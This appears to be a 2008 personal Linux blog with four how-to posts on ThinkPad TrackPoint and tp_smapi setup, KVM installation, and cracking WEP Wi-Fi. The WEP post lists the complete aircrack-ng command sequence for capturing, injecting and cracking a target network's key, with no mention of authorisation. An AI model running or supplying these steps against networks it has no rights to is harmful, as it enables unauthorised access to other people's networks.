Sunday, November 23, 2008

Hack WEP Wireless

  1. Install aircrack:
    sudo apt-get install aircrack-ng
  2. Activate monitoring modus:
    sudo airmon-ng start wlan0 [channel]
  3. Do the scanning:
    sudo airodump-ng -c [channel] --bssid [mac_address_target] -w output wlan0
  4. Do fake authentification:
    sudo aireplay-ng -1 30 -e [ssid] -a [mac_address_target] -h [mac_address] wlan0
  5. To speed up packet gathering:
    sudo aireplay-ng -3 -b [mac_address_target] -h [mac_address] -x 900 wlan0
  6. To get the key:
    sudo aircrack-ng -z -b [mac_address_target] output*.cap

Wednesday, November 19, 2008

Installing KVM in Ubuntu 7.10 (Gutsy Gibbon)

First, Install kvm and qemu:

sudo apt-get install qemu kvm
sudo modprobe kvm-intel (for Intel processors)
or
sudo modprobe kvm-amd (for AMD processors)

Create image which will contain the OS:

qemu-img create os_image.img -f qcow2 6G

Do OS installation:

kvm -m 512 -cdrom /home/user/other_os.iso -boot d os_image.img

To run the OS:

kvm -no-acpi -m 512 -localtime -cdrom /dev/cdrom os_image.img

SOURCE:
http://www.michaeldolan.com/1030
http://www.howtoforge.com/using-kvm-on-ubuntu-gutsy-gibbon

How to Activate tp_smapi in Ubuntu 8.10 (Intrepid Ibex) for Thinkpad T61

Install these packages: tp-smapi-source, hdaps, hdaps-utils

Then follow instruction in /usr/share/doc/ for tp_smapi.

Activate the module:
sudo echo "tp_smapi" >> /etc/modules
sudo echo "hdaps" >> /etc/modules
sudo update-initramfs -u

To set charging parameters:
sudo -s
echo 35 > /sys/devices/platform/smapi/BAT0/start_charge_thresh
echo 75 > /sys/devices/platform/smapi/BAT0/stop_charge_thresh

Further reference:
http://www.thinkwiki.org/wiki/Tp_smapi

Saturday, November 15, 2008

How to Activate TrackPoint Thinkpad T61 in Ubuntu 8.10

Create file /etc/hal/fdi/policy/mouse-wheel.fdi with content:

<match key="info.product" string="TPPS/2 IBM TrackPoint">
<merge key="input.x11_options.EmulateWheel" type="string">true</merge>
<merge key="input.x11_options.EmulateWheelButton" type="string">2</merge>
<merge key="input.x11_options.XAxisMapping" type="string">6 7</merge>
<merge key="input.x11_options.YAxisMapping" type="string">4 5</merge>
<merge key="input.x11_options.ZAxsisMapping" type="string">4 5</merge>
<merge key="input.x11_options.Emulate3Buttons" type="string">true</merge>
</match>
then restart.

To activate point-to-select, follow this instruction:
http://tpctl.sourceforge.net/configure-trackpoint.html

SOURCE:
http://psung.blogspot.com/2008/09/scrolling-with-thinkpads-trackpoint-in.html